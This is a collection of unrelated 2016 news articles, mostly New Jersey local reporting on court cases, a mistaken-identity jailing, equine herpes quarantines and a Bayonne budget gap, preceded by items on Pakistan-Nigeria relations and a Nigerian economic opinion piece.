top priority, while strategic plan for education and empowerment of the people will be given a boost in the 2016 national budget.During the meeting, President of Pakistan, Mamnoon Hussain said Pakistan will continue to assist Nigeria Defence Industries through the transfer of Military Technology and Training as well as partnership between Pakistan Defence Industries and the Defence Industries corporation of Nigeria (DICON).Pakistan will also provide assistance to build the Nigerian Air Force Industrial Complex to maintain its aircraft fleet.President Mamnoon Hussain also noted that just like Boko Haram in Nigeria, Pakistans security is also threatened by terrorist groups, therefore, he called for cooperation between the two countries in fighting terrorism to eliminate this scourge towards the achievement of global peace.The President pointed out that Pakistan has been able to develop its military industries and is now producing aircrafts such as the Super Mushak,the GF17 Thunder jets that can compete with F16 Fighter Jets, the Al-Khalid Tanks, APCs and other Military Hardwares. The President acknowledged with admiration the visit of Service Chiefs and other top Military officers to Pakistan who have express interest in the fighter jets. He said Pakistan will offer these Military hardwares at very competitive prices to Nigeria considering that both countries are members of the D-8 countries.The President also noted that both countries should lay emphasis on the development of the Educational Sector and provide attractive incentives to attract the best brains in the educational sector. He expressed Pakistan willingness to develop Nigeria's Textile, Agriculture and pharmaceutical industries.In his closing remarks, President Mamnoon Hussain commended the efforts of the former Nigerian High Commissioner, Ambassador Dauda Danladi,mni, whose untireless efforts and commitment has upon up a new vista of bilateral relations between the two brotherly countries. He extended his heartiest felicitations to Nigerian President Muhammadu Buhari and prayed for the progress, prosperity and territorial integrity of the Federal Republic of Nigeria.At the end of the meeting, Senator ( Dr) Aliyu Magatakarda Wammakko , former Governor of Skoto State, personally thanked the President of Pakistan, Mamnoon Hussain for extending cooperation in the field of counter terrorism,defence, agriculture, education and the development of textile industries of the Federal Republic of Nigeria. He acknowledged the need to quickly set up focus groups to fast track agreements signed between the two countries towards boosting trade and human resource development and promised to convey President Mamnoon Hussain's observations and felicitations to President Muhammadu Buhari and other relevant authorities in Nigeria.
The nation is currently facing an economic crisis due to a plethora of issues. From the fall in oil prices, to the decline in the value of...

The nation is currently facing an economic crisis due to a plethora of issues. From the fall in oil prices, to the decline in the value of the countrys currency; the Naira, to the shame of the padded budget (the first of its kind), and to the prolonged debacle in the passage of the 2016 budget. One needs no soothsayer to know that the present administration has no clue on how to revamp the nations economy as it has shown time and time again that it is bereft of ideas and policies to turn the tide.Nigeria has never had it this bad. Fuel queues are all around the place, darkness pervades the light and lack is evident as your walk around the streets.In the Goodluck Jonathan administration, things were not this bad because he had a world proven technocrat at the helm of affairs managing the nations economy in the person of Dr Ngozi Okonjo-Iweala.Dr Okonjo-Iweala is still the only individual to serve in the capacity of minister of finance twice. This she did under two administrations (Obasanjo and Jonathan). It was under her watch that on June 29, 2005, the Paris Club and Nigeria agreed on an US$18 billion debt relief package. Under no other minister has the nation cleared such a huge debt.The present minister of finance, Mrs Kemi Adeosun seems to be doing her best, but her best is not good enough as the nation is presently on a standstill; no movement, no motion. We are yet to see one policy that has been carried out to see her understanding of the nations economy.Dr Okonjo-Iweala aside being a technocrat and a two-time minister has been in this situation before. In 2008, oil prices fell but because she had foresight the nation was able to weather the storm without having to cry or borrow from anyone. The citizens didnt feel the heat because she saved for the rainy day.In the Jonathan administration when the oil prices went up above the $100 per barrel, she urged and advised the government, including the governors that there was need to save. But no, the governors were more interested in sharing the nations national cake, and share they did, as they took her and the federal government to court.APC national leader, Asiwaju Bola Ahmed Tinubu speaking on the issue in the Nigerian Tribune on Friday March 8, 2013 said there was no need to save for any rainy day, as citizens were drenched.For example, the accumulation of money by the Federal Government is a misplaced objective for these times. Our driving purpose must be to channel idle human and material capacity into productive streams that furnish jobs and manufacture tangible goods bettering the living conditions of every citizen. To say we are saving money for a rainy day while everyone is already drenched and wading through flood waters makes little sense to me. -- Asiwaju Bola Ahmed Tinubu.The only way to save this nation is to bring Dr Okonjo-Iweala back as the finance minister because she has the technical know how to fix the economy having moved it to number in Africa during her second stint as minister.I therefore call on President Muhammadu Buhari to make Dr Okonjo-Iweala the finance minister and save the nation from crashing.
omar21 ga0309barcol O'Boyle.JPG

Omar Sullivan at his lawyer's Hackensack office. Sullivan spent 27 days in jail between Atlanta and Newark because of a mistake by the Essex County Sheriff's Department.

(John O'Boyle/The Star-Ledger)

Each day, before he drives to work, Omar Sullivan sits in his car and says a little prayer.

He crosses his fingers, keeping them that way the entire ride for good luck - and for good reason.

Sullivan, a manager for a moving company, doesn't want to be stopped by the police.

"I do it unconsciously,'' said the 35-year-old Bloomfield resident. "It makes me feel good.''

The last time he was stopped, Sullivan spent 27 days in jail trying to convince authorities in Atlanta and Newark that he wasn't Steven Sylvester, the man authorities had been looking for on gun and drug charges.

MORE: Recent Barry Carter columns

Does this synopsis jar your memory? Sullivan's alarming mistaken identity story, which appeared in this column in 2014, explained how the Essex County Sheriff's Department goofed up.

As expected, Sullivan's attorney, Patrick Metz, filed a lawsuit in Superior Court. And because the case involves the sheriff's department, the state Attorney General's office is representing the agency. Paul Loriquet, a spokesman for the Attorney General's Office, said his office would not comment.

But Metz is ready for depositions, saying the sheriff's department violated his client's civil rights when it did not correct a mistake in personal identification that led to Sullivan's detention.

The drama began after Sullivan lost his wallet and didn't know that Sylvester had gotten hold of his identification and used it during a traffic stop on Jan. 3, 2007, in East Orange.

Of course, Sylvester never appeared in court, but authorities believed he was Sullivan and issued a warrant for his arrest.

Sullivan was clueless about the situation until he received a letter from Essex County authorities in 2008. Somehow, he was wanted for Sylvester's mess -possession of a .22-caliber gun, heroin, steroids and 27 vials of cocaine.

He beat a path to the Essex County Courthouse, where authorities took his fingerprints and realized they did not match Sylvester's.

Kim Branch, a court service supervisor, gave Sullivan a letter that said the charges did not involve him.

Sullivan left, thinking everything was fine. He relocated to Atlanta in 2013 and found a job as a manager for a storage company. He had a dog and was about to move into an apartment.

Life was good -until Atlanta police scanned his license plate as he drove past them on Jan. 27, 2014.

You guessed it. The warrant and those charges popped up, and Sullivan was arrested.

His mother, Valerie Murphy, had the letter he needed. She left her home in Kearny and took it to the Essex County Sheriff's Department, but no one would help her.

The letter wouldn't have made a difference because the sheriff's department never removed the warrant from the system. And most importantly, Sullivan's State Bureau of Identification number, a number that is issued when someone is arrested and fingerprinted, got mixed up with Sylvester's SBI number and fingerprints.

"They didn't switch my SBI number to match my fingerprints,'' Sullivan said.

Every time that Sullivan claimed his innocence, he showed up in the system as Sylvester.

It remained this way for 12 days, while he sat in the county lockup in Atlanta and during his extradition, a four-day trip through eight states before he arrived in Newark and was held for another 11 days.

This gross flaw didn't get cleared up until his mother hired an attorney, who requested a bail hearing. By this time, Valerie Murphy was flustered.

She couldn't reach Branch, the court service supervisor who gave her son the letter. A sheriff's officer couldn't help her. At the hearing, the prosecutor's office dug into the files and retrieved a picture of Sylvester.

He's Hispanic and weighs 190 pounds. Sullivan is black and weighs 145 pounds.

The judge dismissed the case on Feb. 21, 2014, and ordered Sullivan to be released. Getting out of jail was still problematic.

Sullivan's name wasn't on the discharge list, so he had to wait several more hours before he was permitted to walk out at midnight with a bus card, but no money and no apology.

"I still feel like they owe me at least that,'' he said.

Sullivan returned to Atlanta, but life wasn't the same. He got his job back, but lost his apartment. His dog, which was home alone while he was in custody, died. Sullivan never readjusted.

He didn't want to drive to work, fearing he'd be pulled over again. His cousin played chauffer for a bit, until Sullivan established a bleak new normal.

MORE CARTER: These dancers have all the right moves

Work. Therapist. Home. Depression medication became part of this cycle, too.

"I felt stuck,'' he said. "I just couldn't get back on track.''

Sullivan is back in New Jersey now, living with his mom in Bloomfield and working two jobs.

Employment keeps him busy, but he'd sure like to see Sylvester in a courtroom. It won't happen, unfortunately. Sylvester received the ultimate get-out-of-jail-free card when the charges against him were dismissed.

"I want to see somebody held responsible for what I went through,'' he said. "I still have freaking dreams about when I was in jail.''

Authorities have said that Sullivan's record has been corrected, but the only thing he can count on now is crossing his fingers.

Barry Carter: (973) 836-4925 or bcarter@starledger.com or nj.com/carter or follow him on Twitter @BarryCarterSL
EquineHerpesVaccine.JPG

A vaccine is available for Equine Rhinopneumonitis, a.k.a. equine herpes or EVH-1 although it is not effective against the neurological form of the disease.

A sixth horse at Parx Racetrack, in Bensalem, Pa. tested positive for the neuropathogenic strain of EHV-1 on April 19 after it presented with a fever, according to the Equine Disease Communications Center website.

According to the website:

The newest case is housed in the same barn where the first horse took ill. When the first case was diagnosed with neurological form of the Equine herpes virus, a 28-day quarantine was imposed. A second barn that received a claimed horse from the first barn was also quarantined.

Four horses stabled at the track have died or been euthanized because of the disease.

Meanwhile racing is continuing although no outside horses are allowed to ship in and only horses from non-quarantined barns can train or race. Track management has allowed a few horses to leave under carefully monitored movement for medical treatment at veterinary facilities. Those horses either return to PARX directly from the medical facility or they stay at the veterinary facility in isolation.

The quarantine will remain in effect in each barn until at least 28 days have passed since all horses are symptom free and all tests come back negative.

Meanwhile according to the Maryland Department of Agriculture, a horse stabled in Howard County, Md. was euthanized on April 18 after showing neurologic symptoms. Blood and nasal swabs collected that day tested positive for EHV-1 non-neurological strain, which still can cause neurologic disease.

A second horse in the same barn developed a fever of 104.7 on April 19 but that horse had no neurologic impairment. Nasal swabs were positive for EHV-1 non-neuro strain but blood tested negative. The horse was euthanized for unrelated reasons.

A third horse had a low grade fever of 102.7 on April 20 but tested negative for the virus.

There are 45 horses remaining on the premise that are being monitored for fevers and/or neurologic signs but as of April 21 all appeared healthy. The property will remain in quarantine until 30 days after the last horses show any symptoms.

Stables near the one where the sick horse resided were notified of the situation and owners are cautioned to monitor horses at their premises carefully.

The Maryland Department of Agriculture's Animal Health Program is monitoring the situation closely.

Quarantine lifted in Doylestown, Pa.

In Doylestown, Pa. a quarantine of 44 horses at a boarding facility was lifted three months after being imposed.

The Pennsylvania Department of Agriculture (PDA) placed the stable under quarantine after four horses that tested positive for equine herpesvirus type 1 (EHV-1) were euthanized in December, according to a Jan. 8 press release.

According to an April 2 post by the Equine Disease Communications Center: no new clinical signs of EHV-1 had been seen in any horse at the stable since Feb. 10 with negative RRT-PCR tests on whole blood and nasal swab samples for all 44 horses. Previously positive horses tested negative twice at least a week apart. Three clinically recovered horses remained in quarantine in an isolated area of the property.

In tracing back the positive horses, Pennsylvania animal health officials determined that one of the first two horses euthanized had participated in a horse show in New Jersey. Extensive tracing activity conducted by New Jersey animal health officials identified no suspect horses.

More information on the Equine Herpes Virus can be found at the New Jersey Department of Agriculture website: http://www.ag.state.nj.us .

Also see AAEP.org for information on the disease and biosecurity.

Monmouth Park sets new protocol

OCEANPORT, N.J. -- Monmouth Park sent the following notice to horsemen and the racing public on April 14.

"In the wake of a number of cases of equine herpes at nearby Parx, Monmouth Park Racetrack has announced a new protocol for all horses shipping to the Jersey Shore track for its 2016 season.

All horsemen with horses shipping to the Monmouth Park stable area must meet the following requirements:

All horses, including ponies, must be vaccinated for the EHV-1 herpes virus no less than seven days and no more than 90 days before arriving. Documentation must accompany the horse upon arrival.

A 72-hour health certificate must accompany the horse upon arrival.

Temperatures must be taken on all horses prior to loading on vans and must be documented.

All horse vans should be properly disinfected prior to loading horses.

All horsemen should follow proper bio-security procedures.

Opening day for racing is Saturday, May 14.

For current equestrian news see Horse News or check out the online version of the print edition.

Horse News covers everything equestrian in the mid-Atlantic area and can be reached at horsenews@hcdemocrat.com

To subscribe to the print edition call 908-948-1309.

For advertising e-mail mchapman@njadvancemedia.com. Find Horse News on Facebook
JERSEY CITY -- A 54-year-old Jersey City man with a 20-vial-per-day crack habit and a previous homicide conviction, received a 16-year sentence today for two robberies.

"He was given every shot at trying to redeem himself after committing violent offenses," Hudson County Assistant Prosecutor Lynne Seborowski said of Angelo Harris, whose lawyer said has been addicted to cocaine since the age of 13. "He has left victims in his wake."

Harris has 15 prior arrests, four parole violations, four disorderly persons convictions and criminal convictions for homicide, drug possession, burglary, theft, weapons offenses related to a firearm, two counts of aggravated assault and three counts of robbery. He pleaded guilty to the armed robberies.

Noting that Harris pulled a knife on a police officer in 2014 in his last offense, Seborowski said in her argument for the 16-year sentence that "Nothing has deterred him from further violent conduct."

The prosecutor said in one robbery, Harris stole head phones from a store and then pointed a gun at a security guard who grabbed him. In the other robbery, committed in February 2015, Harris told a woman to hand over her purse, but she didn't hear him and kept walking.

She said he approached the woman from behind, slashed her face and ran away.

On April 4, 1991, Harris was sentenced to 22 years for aggravated manslaughter, Hudson County Acting Chief of Detectives Gene Rubino said.

In that instance, responding officers "found two victims in pools of blood, both of whom implicated Harris," Seborowski said, adding "one of those people did so before he died." He was originally charged with murder.

Defense attorney Jaime Clouser said that in the robbery in which the woman was slashed, Harris told him he had only meant to punch her, but he forgot his keys were in his hand.

When Harris spoke, he said "I apologize that a person got hurt. I really didn't mean to hurt her. ... Even the guy with the gun. I gave him the head phones back and I'm outside the store -- let me go."

Clouser argued this morning for a 10-year sentence, noting Harris' age and telling Hudson County Superior Court Judge Martha Royster that "A 10-year sentence to a 54-year-old is not the same as a 10-year sentence for a 34-year-old."

Clouser also noted that Harris had a 20-vial-per-day crack habit that cost nearly $200-per-day to support. He said "When you look at that ugly criminal history, it really is explained by his crack cocaine addiction."

In sentencing Harris to 16 years, Royster called the sentence reasonable, since the penalty for just one count first degree armed robbery is 10 to 20 years. She found that he is "extremely likely" to commit another offense and that many of his crimes were committed immediately after he had been released from prison.

Royster noted Harris "admitted committing the crimes to satisfy his drug addiction and not only does he commit crimes, he commits violent crimes."

Because Harris has been in jail since his arrest. his sentence is 13 years and seven months. He will be 67 when he becomes eligible for parole.
BAYONNE -- In a roughly hour-long budget hearing last night covering a wide range of issues, two critics of the current city administration focused their questions on the budget's $15 million revenue hole.

Attorney Peter Cresci, a city resident and former city Business Administrator, questioned Bayonne Chief Financial Officer Terrence Malloy about how the city ended up with the hole and what officials plan to do about it.

City Chief of Staff Andrew Casais has said officials are hoping to adopt the budget by June, which would give them a little over two months to fix the problem.

Developer Kate Howard LTD, whose principal is Waitex Group, was slated to pay $15 million this year to the city, but officials announced last week that the deal between the developer and the city is off.

The two sides couldn't come to an agreement on purchasing details for the southwest portion of Bayonne's former Military Ocean Terminal known as Harbor Station South, city Business Administrator Joe DeMarco has said.

Earlier this week, DeMarco, Casais and several council members said officials are working aggressively to find revenue sources to fill the $15 million hole.

At last night's meeting, Malloy expressed that same sentiment, noting that the city has overcome similar challenges in the past, but Cresci took issue with the repetition of that predicament.

"We keep ending up in this situation with a gun to our head because we're relying on one-shot deals," the former business administrator said, before pivoting to the claim that the city spends too much money.

Before an audience of about 50 people, Malloy said he doesn't believe one-shot deals are good for the city either, but noted that Bayonne has been struggling with a structural deficit since 1996 that has begun to shrink only in recent years.

At a later point, the exchange between the two got heated.

When Cresci pressed Malloy on where the city will find $15 million, Malloy said, visibly agitated, "Why do you think we're not -- I hope you're not rooting against us finding this money."

Meanwhile, Peter Franco, a frequent critic of Bayonne Mayor Jimmy Davis' administration who worked on a rival mayoral campaign in 2014, asked Malloy what the municipal tax increase would be if the city doesn't find $15 million.

Malloy said that would result in an increase of $855 for the average city household, which is seven times the originally projected increase of $121 under the introduced budget.

Franco also asked if the city is considering laying off some of its employees.

Malloy said there's a need to balance taxes with municipal services, and that if services are significantly reduced, that could make the city unattractive to newcomers and further investment.

Under the introduced budget, appropriations for city employees' salaries and wages would increase about $1.7 million from $57.8 million in 2015 to $59.5 million in 2016.

Earlier this month, the county tax board ordered Bayonne to do a citywide revaluation of its properties after Cresci, representing city resident Patrick Desmond, requested the move.

Desmond is one of three men who has started a recall movement against Davis.

Experts generally believe revals lead to tax hikes for one third of properties, tax cuts for one third and no change for one third.

After news of the reval broke, Davis said the request made by Cresci and Desmond was "purely political, plain and simple," while Cresci denied that notion, saying "politics plays no role in a revaluation; it comes into play by trying to stop one."

Jonathan Lin may be reached at jlin@jjournal.com. Follow him on Twitter @jlin_jj. Find The Jersey Journal on Facebook.
KEARNY -- Months before a Jersey City woman was fatally struck by a van at the post office where she worked, employee representatives had asked that safety improvements be made to the facility's parking lot.

Today marks one month since 54-year-old Nadia Assad died after being struck by a fellow employee at the Dominick V. Daniels Processing and Distribution Center.

Darren Smith, the director for the American Postal Workers Union for DVD P&DC in Kearny, said "upgrades" were made last year to the parking lot, which included changing the traffic flow from one-way to both directions.

"I think it makes it more dangerous because you have people coming out on both sides now," Smith said, adding several employees have made similar complaints.

In a Nov. 9 request, Smith -- who is a member of the facility's safety committee -- requested that stop signs and speed limit signs be posted and that traffic flow only in one direction. He said management "never addressed" the union's complaints.

There have been 13 crashes reported in the parking lot of the facility dating back to 2010, according to Kearny police records, a number that Smith said is "absolutely (significant). ... It is a high number."

Police said Assad was walking to the Newark-Jersey City Turnpike building on March 22 to start her shift when she was hit by a Nissan NV at 5:42 a.m. She was transported to University Hospital in Newark, where she died shortly after 9 a.m.

Assad worked as a clerk processing mail for the post office for about 10 years. Smith said on Jan. 23, she had moved from a temporary postal support employee to a career employee, which offered her benefits and full-time hours.

George Flood, a spokesman for the United State Postal Service, said public comment is limited because of the ongoing investigation, but stressed safety is a top priority for the organization.

"Let me stress that the safety of our employees remains a core value of the U.S. Postal Service," Flood said. "We have an extensive and professional safety program at all our facilities, which incorporates employees at every level."

Smith said he reviewed video surveillance that showed the crash and noted that two light bulbs above the crash scene where Assad was struck and a lamp pointing toward that direction were not working. He said those lights are still not working. Assad's best friend also works at the facility, Smith said, and every day she is forced to walk passed the now barricaded section of the parking lot where her friend died.

A request for a copy of the accident report from Kearny was denied because it is part of the Hudson County Prosecutor's Office's pending investigation, Kearny officials said. The name of the driver of the Nissan NV has not been released and not no charges have been filed.

Ultimately, Smith said he hopes to see pedestrian walkways added to the parking lot, along with the signage he requested, hoping employees do not have to "endure another tragic day like March 22, 2016."
Darrell Smith has bail hearing

Video court appearance of defendant Darrell Smith on April 1, 2016. (Michael Mancuso | For NJ.com )

(Michael Mancuso | For NJ.com)

TRENTON - From 10 states away, Darrell Smith seemed like a saving grace.

At least that was the case for a Las Vegas woman who quickly fell for the 45-year-old Trenton man online, prosecutors said. Within a month, he had wooed her and convinced her to come to New Jersey to start a better life, Mercer County Assistant Prosecutor Heather Hadley said Friday.

But, almost as soon as she moved to Trenton last year, the woman found herself under Smith's control, regularly beaten and forced into prostitution, Hadley said.

The woman - whose name is being withheld - is the second to come to authorities this year claiming she was a victim in Smith's alleged prostitution ring in Trenton.

The 45-year-old was initially charged in January when the first woman came forward, and now he is facing a second count of human trafficking following the Las Vegas woman's story, Hadley said.

Smith was scheduled to appear in court Friday morning for a bail hearing on the second human trafficking charge, but the hearing was rescheduled for May.

Despite the rescheduled hearing, Hadley spoke Friday and detailed the accusations that lead to Smith's charges.

She said the second woman who came forward had been living in Nevada last year. The woman was unhappily working as a prostitute in Las Vegas and was eager to improve her life, Hadley said.

That was around the time she met Smith on Facebook. Smith was living in Trenton but wooed the woman from the other side of the country, promising her a good life in New Jersey.

"He said that they would be boyfriend and girlfriend," Hadley said.

The woman was intrigued and agreed to join him on the East Coast when he bought her a plane ticket to New Jersey.

"She thought she would have a changed life," Hadley said.

But that hope dissipated when she settled in Trenton in December, prosecutors said. Smith took all of the woman's money, physically and sexually assaulted her, and forced her into prostitution, Hadley said.

Prosecutors claim the woman's ordeal lasted into January.

But authorities didn't become aware of the alleged abuse until a routine traffic stop outside a Lawrence Wawa led them to another of Smith's alleged victims in January, prosecutors have said.

Police pulled over Smith's car in late January outside the Wawa and found a woman in the back seat. She looked nervous and asked to speak to officers privately.

That woman -- whose name is also being withheld -- told police she was working independently as a prostitute out of a Trenton hotel one night in January when Smith burst into the room and put a gun to her head. She said he told her she was coming with him and took her to a Trenton apartment.

There, he shot the woman up with heroin and forced her into prostitution for days before the traffic stop, prosecutors have said.

The stories of the two women are enough to bring two human trafficking charges against Smith, but Hadley said prosecutors are looking into the possibility that there may be more women involved.

Smith is being held on a $200,000 bail.

Anna Merriman may be reached at amerriman@njadvancemedia.com. Follow her on Twitter @anna_merriman Find The Times of Trenton on Facebook.
Jake Arrieta

Chicago Cubs starting pitcher Jake Arrieta walks off the field after an interview following his no-hitter in a baseball game against the Cincinnati Reds, Thursday, April 21, 2016, in Cincinnati. The Cubs won 16-0. (AP Photo/John Minchillo)

(John Minchillo)

Well, at least it wasn't a perfect game.

That was the attitude the Cincinnati Reds took Thursday night after Jake Arrieta's second career no-hitter propelled the Chicago Cubs to a 16-0 victory at Great American Ballpark.

While Arrieta dominated, the Reds took solace in the fact that they drew four walks against the ace right-hander, a feat Cincinnati's social media staff proudly touted on Twitter:

The Los Angeles Dodgers, who were no-hit by Arrieta last Aug. 30, also publicly commiserated with the Reds.

Hey @Reds, Arrieta no-hitter support group meets on Mondays.  Los Angeles Dodgers (@Dodgers) April 22, 2016

Will membership to that support group expand this season? Stay tuned.

Maria Guardado may be reached at mguardado@njadvancemedia.com. Follow her on Twitter @mi_guardado. Find NJ.com on Facebook.
NEW BRUNSWICK --Two forensic experts testifying for the defense in the murder trial of Michelle Lodzinski had clashing opinions on the effect the exposure to nature could have had on evidence.

Nicholas Petraco, a private consultant who worked as a forensic scientist for the New York City Police Department, said he believes that despite being exposed to the elements for 11 months, there should have been traces of human contact or fibers on items found near Timothy Wiltsey's skeletal remains in a swampy area of Raritan Center in April 1992.

Five-year-old Timmy's remains were found 11 months after the boy was reported missing by his mother from a Sayreville carnival the evening of May 25, 1991.

Petraco insisted that trace evidence would not be washed away by exposure to the elements--in fact the evidence could "more closely adhere to the fibers."

He said the lack of trace evidence found by the FBI laboratory when it examined the blanket, a key piece of prosecution evidence, and the fact that he said photos showed it (the blanket) was not in a state of advance decay, made him believe the blanket was not "there for 11 months."

"I don't believe it (the blanket) was in contact with the victim," Petraco said, who admitted he did not examine the blanket itself.

Edward Gainsborg, the forensic scientist at the New Jersey State Police Laboratory, who did an examination of blanket and a pillow case for hairs and other trace evidence, in 2011, had testified as a prosecution witness that no trace evidence was found--only two hairs and they were not exact matches to Michelle Lodzinski's hair.

But, the defense recalled him to ask about a study he did of some fibers found on the pillow case that seemed to match ones found on the blanket.

Gainsborg said he did not do an in depth study of the fibers.

But, on cross-examination, Bevacqua asked him how being out in the elements would impact finding trace evidence on items such as the blanket.

Gainsborg being out in the elementts would have a "significant negative impact" on trace evidence.

The blanket is important because it has been identified in the trial by three prosecution witnesses, two of whom babysat for Timmy, as having come from Lodzinski's apartment and was used by the boy.

Lodzinski originally reported her son disappeared while she paid for a soda a concession stand at the carnival, but during the next several weeks, she told police different versions of how he disappeared, including that a woman she knew as Ellen and two men abducted him.

She was charged with murder in August 2014, after the Middlesex County Prosecutor's Office reopened the investigation in 2011.

Lodzinski has always maintained she had nothing to do with her son's disappearance or death.

The trial will resume on Tuesday.

Sue Epstein may be reached at sepstein@njadvancemedia.com. Follow her on Twitter @susan_epstein. Find NJ.com on Facebook.
NEW BRUNSWICK -- Police taped off a large area near Carman and George streets for a criminal investigation Friday afternoon.

Three witnesses, including a man in a nearby store and a resident in the area, reported hearing up to five gunshots shortly after 4 p.m. Police were seen examining the area as a white Nissan Altima was towed from the scene.

A police spokesman declined to immediately release information on the incident Friday afternoon, citing an ongoing investigation.

Spencer Kent may be reached at skent@njadvancemedia.com. Follow him on Twitter @SpencerMKent. Find the Find NJ.com on Facebook.
FREEHOLD -- A Superior Court judge on Friday sentenced a Marlboro man who spent eight hours drinking at a go-go bar to six years in prison for killing a software engineer in a drunk driving crash in Holmdel.

The lives of Robert Pennington, 51, and Siva Kovvuri, 32, tragically collided on Dec. 5, 2014, when both men took wrong turns in their respective travels and ended up on Route 34 south in Holmdel, where the head-on crash occurred shortly before midnight.

"Every human life is precious and none should have their light dimmed prematurely," Judge Anthony Mellaci Jr. said before imposing sentence. "You dimmed a bright light."

Pennington, an environmental engineer for an Edison firm, said he remembers having 10 beers at Fantasies go-go bar in Keyport between 2 p.m. and 10:30 p.m. before getting in his car to head home.

And on the same night, Kovvuri and his wife were attending a family gathering at his sister's house in the Morganville section of Marlboro when Kovvuri agreed to run to a local store for soda.

Not familiar with the area, Kovvuri, from the Parlin section of Old Bridge, took a wrong turn and ended up on Route 34 north, Assistant Monmouth County Prosecutor Tara Wilson said. Around the same time, Pennington passed his home and ended up on Route 34 south in Holmdel, where he crossed the double-yellow line and crashed head-on into Kovvuri's 2008 Hyundai Accent near East Lawn Drive. Pennington had a blood-alcohol level of 0.258, more than three times the legal limit to drive in New Jersey.

Mellaci lectured Pennington about getting behind the wheel of his car while knowing how much alcohol he consumed.

"If you're going to sit in a bar for the time period that you sat in the bar, it doesn't take a rocket scientist to know that you shouldn't get behind the wheel."

The judge said he understands that families of the victims of drunk driving crashes don't feel they get justice with any sentence.

"If it was my wife or my family member that was killed this way, I'd only ask for you to spend about a half hour in my presence with no one else around or spend the next 30 years in jail (but) that wouldn't bring my loved one back."

Pennington, who admitted to continuing to drinking alcohol after pleading guilty to vehicular manslaughter in January, told court officials he doesn't have a drinking problem and can stop whenever he wants.

"And you don't think you have a drinking problem?" Mellaci asked him incredulously.

"I've never been diagnosed with it," he said.

Mellaci noted that this was Pennington's first drunk driving offense but said that doesn't necessarily mean this was the first time he drove drunk.

"It's very unusual for someone to get picked up for drunk driving their first time, so yes, sir, you have an alcohol problem," Mellaci said. "And the fact that you would say ... that you're not dependent on it and can stop at any time shows me you have very little insight into what happened here."

A volunteer at St. Jude's Children's Hospital, Kovvuri was active with the Children's Make-a-Wish Foundation and helped build homes after Hurricane Sandy, his wife Mrudulla Mollidi and sister Satya Sabbella said in letters to Mellaci.

Mollidi moved to the United States from India to wed Kovvuri in 2011 through an arranged marriage, but she returned to her homeland after her husband's death because she couldn't bear to be without him in their home, Wilson said.

"He treated me like a princess from the very first day," she said in her letter, read by Wilson.

His sister, who cried throughout the proceeding, called Kovvuri "a perfect son, a loving husband, an affectionate brother, a dependable coworker, a very reliable and trustworthy friend."

He obtained his undergraduate degree in India and earned the vice-president's fellowship at Utah State University where he earned his master's degree in computer science before moving to New Jersey, she said.

In her letter read by Assistant Monmouth County Prosecutor Nicole Wallace, Sabbella said she is wracked with guilt at asking her brother to get the soda that night.

Dressed in a dark suit and a striped tie, Pennington hung his head for most of the proceeding while his two daughters, sitting in the audience, cried.

"I know it was wrong. I understand it has hurt people very badly, and I am very sorry," he said, his voice breaking.

Pennington's attorney, Charles Clark, asked Mellaci to sentence Pennington to five years in prison -- two years fewer than called for in the plea agreement. Pennington will have to serve slightly more than five years in prison before becoming eligible for parole.

MaryAnn Spoto may be reached at mspoto@njadvancemedia.com. Follow her on Twitter @MaryAnnSpoto. Find NJ.com on Facebook.
FREEHOLD - A former Monmouth Regional High School teacher was sentenced to five years in a New Jersey correctional facility Friday after admitting to having a sexual relationships with two students.

Nicholas DePue, 30, of Whispering Oaks Way in Jackson, pleaded guilty in January to two second-degree counts of endangering the welfare of two girls, ages 16 and 17, both of whom were students at the Tinton Falls high school where he was a science teacher. DePue admitted in court to sending inappropriate text messages to students and/or having sexual physical contact with them.

Nicholas DePue, 29, of Whispering Oaks Way in Jackson, a former teacher at Monmouth Regional High School, was charged with having sexual relationships with two students. (Monmouth County Prosecutor's Office)

After investigators discovered that he had carried on a lengthy relationship with one of the students, DePue was charged with second-degree counts of sexual assault and endangering the welfare of a child in June. The following month additional counts of second-degree endangering the welfare of a child and fourth-degree criminal sexual contact were added after investigators identified a second victim, the Monmouth County Prosecutor's Office said at the time.

As a result of those charges, DePue was fired from his job as a teacher at Monmouth Regional High School, authorities said.

DePue appeared in front of Superior Court Judge Joseph Oxley for sentencing on Friday morning, after already having voluntarily surrendering his teaching license earlier in the day.

Wearing in a suit and tie, DePue stood in the courtroom's jury box and apologized to the female students, their families, the school district and the community.

"My actions were foolish, shortsighted and self-centered," he told Oxley. "I realized far too late that I was doing far more harm than good."

Assistant Monmouth County Prosecutor Danielle Zanzuccki read a letter from the mother of one of the victim's, who asked the judge to give DePue the maximum allowable sentence because he "left a scar on (her) daughter that cannot ever be repaired or forgotten."

Zanzuccki went on to say that DePue took advantage of his powerful position and role as a teacher and "used it for his own sexual gratification."

She said it would be difficult to call DePue's offense an "aberration" because he was involved in a "continuous sexual relationship with not just one, but two students."

While announcing his sentence, Oxley said "these two young ladies were robbed of their innocence. ... I believe the conduct was reprehensible." Oxley then sentenced DePue to serve five-year sentences for each of the charges he pleaded guilty to, which will be served concurrently. He will also be subject to parole supervision for the rest of his life under Meghan's Law.

At the request of DePue's attorney, William Cunningham, Oxley said he would recommend that DePue serve his sentence in the state Department of Correction's Adult Diagnostic and Treatment Center for male sexual offenders in the Avenel section of Woodbridge Township.

Cunningham said DePue's wife and family were standing behind him, but that DePue asked them not to attend the sentencing because he knew it was "all his fault."

DePue lost more than his freedom when he was taken out of the courtroom in handcuffs on Friday, Cunningham said.

"He lost his job, his occupation and most importantly, he lost his reputation," he said.

Rob Spahr may be reached at rspahr@njadvancemedia.com. Follow him on Twitter @TheRobSpahr. Find NJ.com on Facebook.
UPDATE: Teacher reportedly rescinds resignation

MIDDLETOWN -- A Middletown High School South teacher was reportedly forced to resign after he showed his class a video critical of Republican presidential front-runner Donald Trump.

Joseph Ventre, a history teacher at the Monmouth County high school, was asked for his resignation after at least one parent complained that he showed a video from HBO's "John Oliver's Last Week Tonight" that lampooned Trump, News 12 reported.

In the video, which has been viewed more than 24 million times on YouTube since Feb. 28, Oliver criticizes Trump for a variety of his assertions and business deals.

John Oliver criticizes Donald Trump on "Last Week Tonight" in February.

No other political videos featuring other presidential candidates were shown in class, News 12 reported.

The New York Post reported that sources said school administrators asked for Ventre's resignation after receiving the complaint or complaints over the video, and that he agreed to step down after the school year.

Many parents and students have since stepped up in support of Ventre, reportedly packing a Board of Education meeting on Wednesday and an online petition to save his job had collected more than 2,000 signatures as of Friday morning.

"Although this is a violation of his contract this should not end his career at South," said one of Ventre's students, who started the petition. "As a student in Mr. Ventre's history class I have learned more about life and history than ever before. He has an extremely positive effect on the lives of students in and out of his classes."

